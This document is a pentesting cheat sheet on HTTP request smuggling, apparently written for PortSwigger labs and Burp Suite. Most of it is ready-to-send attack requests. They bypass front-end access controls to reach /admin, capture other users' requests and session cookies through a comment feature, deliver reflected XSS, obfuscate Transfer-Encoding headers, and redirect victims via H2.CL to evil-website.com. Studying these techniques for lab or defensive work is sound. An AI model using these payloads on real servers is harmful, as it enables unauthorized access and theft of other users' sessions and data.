HTTP Smuggling

💡 See labs WebSecurityAcademy (PortSwigger) – HTTP request smuggling.

💡 Manually fixing the length fields in request smuggling attacks can be tricky. Use the HTTP Request Smuggler Burp extension.

❗ Some techniques are only possible in HTTP/1. From the Inspector tab in the Repeater module, go in the Request attributes and select protocol HTTP/1 (not HTTP/2).

❗ To try: Smuggler script on GitHub

Request Smuggling

Content-Length

The Content-Length header is straightforward: it specifies the length of the message body in bytes. For example:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling 

Transfer-Encoding

The Transfer-Encoding header can be used to specify that the message body uses chunked encoding. This means that the message body contains one or more chunks of data. Each chunk consists of the chunk size in bytes (expressed in hexadecimal), followed by a newline, followed by the chunk contents. The message is terminated with a chunk of size zero. For example:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

b = chunked size in hexadecimal (11)

Request Smuggling

Since the HTTP specification provides two different methods for specifying the length of HTTP messages, it is possible for a single message to use both methods at once, such that they conflict with each other.

Request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers:

  • CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
  • TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
  • TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

Scanning

Use the HTTP Request Smuggler Burp extension. The issues will be created for the target if request smuggling is detected.

  • In Burp Suite, click on the Target tab.
  • Right-click on the target, Extensions->HTTP Request Smuggler->Smuggle probe.
    • Set thread pool size to 1.
    • Click OK.
  • Click on the Extensions->Installed tab.
    • Click on the extension name HTTP Request Smuggler.
    • Click on the Output tab to see the completion status.

CL.TE vulnerabilities

❗ From the Inspector tab in the Repeater module, go in the Request attributes and select protocol HTTP/1 (not HTTP/2).

💡 Leave the Update Content-Length option in the Repeater menu.

  • Front-end server uses the Content-Length header
  • Back-end server uses the Transfer-Encoding header

We can perform a simple HTTP request smuggling attack as follows:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Confirming CL.TE vulnerabilities using differential responses

Example of requests to send:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

If the attack is successful, then the last two lines of this request are treated by the back-end server as belonging to the next request that is received. This will cause the subsequent “normal” request to look like this:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Since this request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it.

Bypass front-end security controls

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: x

Next request will look like (to confirm):

[...]
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

Reveal front-end request rewriting

The front-end server may rewrite requests and add HTTP headers (like X-Forwarded-For with the user’s IP address) before forwarding it to the back-end server.

  • Find a POST request that reflects the value of a request parameter into the application’s response.
  • Shuffle the parameters so that the reflected parameter appears last in the message body.
  • Smuggle this request to the back-end server, followed directly by a normal request whose rewritten form you want to reveal.
  • Adjust the second Content-Length: receiving only a part of the rewritten request means that CL is too short, receiving a server timeout means CL is too long.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 125
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 250

search=whatever

Steal user’s requests

  • Find a feature that allows you to store and later retrieve textual data (posting comments, emails, profile descriptions, screen names).
  • Use this request to capture the contents of other users’ requests (like session tokens or other sensitive data submitted by the user).
  • Modify the request so that the parameter that will contain the user’s request is at the end.
  • Adjust the second Content-Length. Too small will truncate the user request, too big will result in a server timeout.
POST / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=<session ID>
Content-Type: application/x-www-form-urlencoded
Content-Length: 361
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Cookie: session=<session ID>
Content-Type: application/x-www-form-urlencoded
Content-Length: 600

name=Whatever&comment=whatever

Deliver a reflected XSS payload

When the application is vulnerable to a reflected XSS attack, example in the User-Agent HTTP header.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

TE.CL vulnerabilities

❗ From the Inspector tab in the Repeater module, go in the Request attributes and select protocol HTTP/1 (not HTTP/2).

❗ Uncheck the Update Content-Length option in the Repeater menu.

  • Front-end server uses the Transfer-Encoding header
  • Back-end server uses the Content-Length header

We can perform a simple HTTP request smuggling attack as follows:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

❗ When usingHackvertor extension in Burp Suite, the Content-Length is automatically updated (as seen in the Logger), even when disabled in the Repeater. Copy this in the Hackvertor tab, and copy/paste the output in the Repeater to send the request.

  • The second Content-Length (in chunk) should be 12 + length of payload data, so in this case 15 = 12 + length(x=1).
  • Add “5” to the chunk size because there is 5 carriage returns in the payload. Adjust this number as needed.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: <@arithmetic(2,'+')><@length><@chunked_dec2hex><@length><@get_chunk/><@/length><@/chunked_dec2hex><@/length><@/arithmetic>
Transfer-Encoding: chunked

<@chunked_dec2hex><@arithmetic(5,'+',',')><@length><@get_chunk/><@/length><@/arithmetic><@/chunked_dec2hex>
<@set_chunk(false)>POST /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1<@/set_chunk>
0

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked

7c
POST /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Confirming TE.CL vulnerabilities using differential responses

Note: You need to include the trailing sequence \r\n\r\n following the final 0, and disable Update Content-Length.

  • From the Inspector tab in the Repeater module, go in the Request attributes and select protocol HTTP/1 (not HTTP/2).
  • Leave first Content-Length to 4. When the smuggling attack occurs the chunked mode is ignored (“Content-Length: 4” is applied). So we remove the first 4 bytes (7c\r\n).
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

If successful, next request will look like:

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

TE.TE – obfuscating the TE header

❗ From the Inspector tab in the Repeater module, go in the Request attributes and select protocol HTTP/1 (not HTTP/2).

❗ When doing a TE.CL, uncheck the Update Content-Length option in the Repeater menu.

Both front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way. Find some variation of the Transfer-Encoding header such that only one of the front-end or back-end servers processes it, while the other server ignores it.

  • Front-end server uses the Transfer-Encoding header
  • Back-end server uses the Transfer-Encoding header

Ways to obfuscate the TE header:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
tRANSFER-ENCODING: chunked
Transfer-Encoding: chunked
Transfer-encoding: identity

Depending on whether it is the front-end or the back-end server that can be induced not to process the obfuscated Transfer-Encoding header, the remainder of the attack will take the same form as for the CL.TE or TE.CL vulnerabilities already described.

For example: Use request from TE.CL and try to obfuscate the TE header. Add a space before the header:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
 Transfer-Encoding: chunked

61
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

Whatever
0

H2.CL

💡 From the Inspector tab in the Repeater module, go in the Request attributes and select protocol HTTP/2 (default).

❗ Uncheck the Update Content-Length option in the Repeater menu.

HTTP/2 requests don’t have to specify their length explicitly in a header. During HTTP/2 downgrading, the front-end servers adds an HTTP/1 Content-Length header (derived from HTTP/2’s built-in length mechanism). HTTP/2 requests can also include their own content-length header, and some front-end servers will simply reuse this value in the resulting HTTP/1 request.

POST / HTTP/2
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

SMUGGLED

Next request will result in a 404 Not Found.

❗ Smuggled request (/resources) must be in HTTP/1 or it will not work (request in the Repeater must be in HTTP/2).

POST / HTTP/2
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /resources HTTP/1.1
Host: evil-website.com
Content-Length: 5

x=1